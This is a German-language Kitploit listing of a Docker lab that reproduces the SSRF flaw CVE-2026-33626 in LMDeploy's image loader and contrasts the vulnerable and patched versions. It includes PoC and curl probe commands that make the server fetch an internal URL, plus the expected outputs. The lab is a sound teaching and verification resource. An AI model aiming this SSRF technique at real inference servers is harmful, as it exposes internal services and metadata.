Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33626-Lab — Docker Compose Lab, das die SSRF CVE-2026-33626 im Vision-Language-Bildlader von LMDeploy reproduziert. Vergleicht das anfällige (0.12.0) und gepatchte (0.12.3) Verhalten mit einem PoC-Skript und einem internen Canary-Dienst. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-33626-lab
SchwachstellenanalyseWebsicherheitCTFLernen & BildungKI-SicherheitLabs & Praxis
GitHubrootdirective-sec/cve-2026-33626-lab

CVE-2026-33626-Lab

Docker Compose Lab, das die SSRF CVE-2026-33626 im Vision-Language-Bildlader von LMDeploy reproduziert. Vergleicht das anfällige (0.12.0) und gepatchte (0.12.3) Verhalten mit einem PoC-Skript und einem internen Canary-Dienst.

Repository anzeigen
2vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33626 — LMDeploy Vision-Language SSRF Labor

Übersicht

Dieses Repository reproduziert CVE-2026-33626, eine Server-Side Request Forgery (SSRF)-Schwachstelle im Vision-Language-Bildladepfad von LMDeploy.

Das anfällige Verhalten tritt auf, wenn LMDeploy eine Bild-URL erhält und der serverseitige Bildlader diese URL abruft, ohne interne, private, Loopback- oder Link-Local-Adressen ordnungsgemäß zu blockieren.

Dieses Labor vergleicht:

DienstVersionZweck
vulnLMDeploy 0.12.0Zeigt das anfällige Verhalten
patchedLMDeploy 0.12.3Zeigt das behobene Verhalten
internalLokaler KanariendienstSimuliert eine nur interne Ressource im Docker-Netzwerk

Das Labor ist für den lokalen Betrieb mit Docker Compose ausgelegt und kontaktiert keine Cloud-Metadaten-Endpunkte oder externen Ziele.


Zusammenfassung der Schwachstelle

LMDeploy unterstützt Vision-Language-Workflows, bei denen ein Bild von einer vom Benutzer bereitgestellten URL geladen werden kann. In anfälligen Versionen kann der Bildladepfad URLs abrufen, die auf interne/private Netzwerkadressen aufgelöst werden.

Dies kann einem Angreifer mit Zugriff auf den LMDeploy-Endpunkt ermöglichen, den Server zu veranlassen, interne Ressourcen anzufordern, wie z. B.:

  • interne HTTP-Dienste
  • Metadatenendpunkte
  • Cache-/Datenbankdienste
  • private Admin-Oberflächen
  • andere Dienste, die vom Inferenz-Server-Netzwerk aus erreichbar sind

In diesem Labor ist das interne Ziel absichtlich harmlos:

root@kitploit:~
http://internal:9000/private.png

Die URL existiert nur im Docker-Compose-Netzwerk.


Laboraufbau

root@kitploit:~
PoC script
   |
   | sends image URL
   v
vuln / patched service
   |
   | calls lmdeploy.vl.load_image(url)
   v
internal canary service

Das Labor führt keinen vollständigen VLM-Inferenz-Server aus. Stattdessen isoliert es die anfällige LMDeploy-Bildladeprimitive, indem es Folgendes aufruft:

root@kitploit:~
from lmdeploy.vl import load_image
load_image(url)

Dies hält die Reproduktion leichtgewichtig und deterministisch, während es dennoch das Sicherheitsverhalten demonstriert, das gepatcht wurde.


Repository-Struktur

root@kitploit:~
.
├── docker-compose.yml
├── internal
│   ├── Dockerfile
│   └── server.py
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── vuln
│   └── Dockerfile
└── README.md

Dienste

DienstHost-URLContainer-PortBeschreibung
vulnhttp://127.0.0.1:80818000LMDeploy 0.12.0 Wrapper
patchedhttp://127.0.0.1:80828000LMDeploy 0.12.3 Wrapper
internalhttp://127.0.0.1:80909000Interner Kanariendienst

Im Docker-Netzwerk ist der interne Kanariendienst erreichbar unter:

root@kitploit:~
http://internal:9000/private.png

Voraussetzungen

  • Docker Desktop
  • Docker Compose v2
  • Python 3 zum Ausführen des PoC-Skripts

Auf Apple Silicon laufen die Dienste vuln und patched als linux/amd64, da das in diesem Labor verwendete LMDeploy-Wheel x86_64-orientiert ist.


Ausführen des Labors

Dienste erstellen und starten:

root@kitploit:~
docker compose up -d --build

Container-Status überprüfen:

root@kitploit:~
docker compose ps

Erwarteter Status:

root@kitploit:~
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)

Versionen überprüfen

root@kitploit:~
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq

Erwartete Ausgabe:

root@kitploit:~
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
root@kitploit:~
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
root@kitploit:~
{
  "hits": []
}

Ausführen des PoC

Virtuelle Umgebung erstellen und Abhängigkeiten installieren:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

PoC ausführen:

root@kitploit:~
python poc/poc.py

Das standardmäßige SSRF-Ziel ist:

root@kitploit:~
http://internal:9000/private.png

Dieses Ziel ist von den Docker-Containern aus erreichbar, nicht vom öffentlichen Internet.


Erwartetes Ergebnis

Anfälliger Dienst

Der anfällige Dienst sollte das interne Kanarienbild erfolgreich abrufen:

root@kitploit:~
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}

Dies bestätigt, dass LMDeploy 0.12.0 eine serverseitige Anforderung an den internen Docker-Dienst gestellt hat.

Gepatchter Dienst

Der gepatchte Dienst sollte dieselbe URL blockieren, bevor der interne Dienst erreicht wird:

root@kitploit:~
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}

Dies bestätigt, dass LMDeploy 0.12.3 URLs blockiert, die auf nicht-globale/interne IP-Adressen aufgelöst werden.

Abschließende erwartete Zusammenfassung:

root@kitploit:~
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary

Manueller Test

Internen Kanariendienst zurücksetzen:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq

Anfälligen Dienst testen:

root@kitploit:~
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Erwartet: /hits enthält eine Anforderung.

Gepatchten Dienst testen:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Erwartet: /hits bleibt leer.


Warum dies SSRF demonstriert

Das PoC fordert den internen Dienst nicht direkt als Angreifer an.

Stattdessen sendet das PoC eine interne URL an LMDeploy. Wenn LMDeploy diese URL aus dem Container-Netzwerk abruft, zeichnet der interne Kanariendienst die Anforderung auf.

Dieses Verhalten beweist die SSRF-Primitive:

root@kitploit:~
attacker-controlled URL
        ↓
LMDeploy server-side image loader
        ↓
request to internal network resource

Die gepatchte Version verhindert dies, indem sie URLs ablehnt, die auf nicht-globale IP-Adressen aufgelöst werden.


Bereinigung

root@kitploit:~
docker compose down -v

Referenzen

  • GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq

  • NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626

  • Patch Commit: 71d64a339edb901e9005358e0633fbbab367d626 https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626

  • Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447

  • Sysdig Analysis https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

Tool herunterladen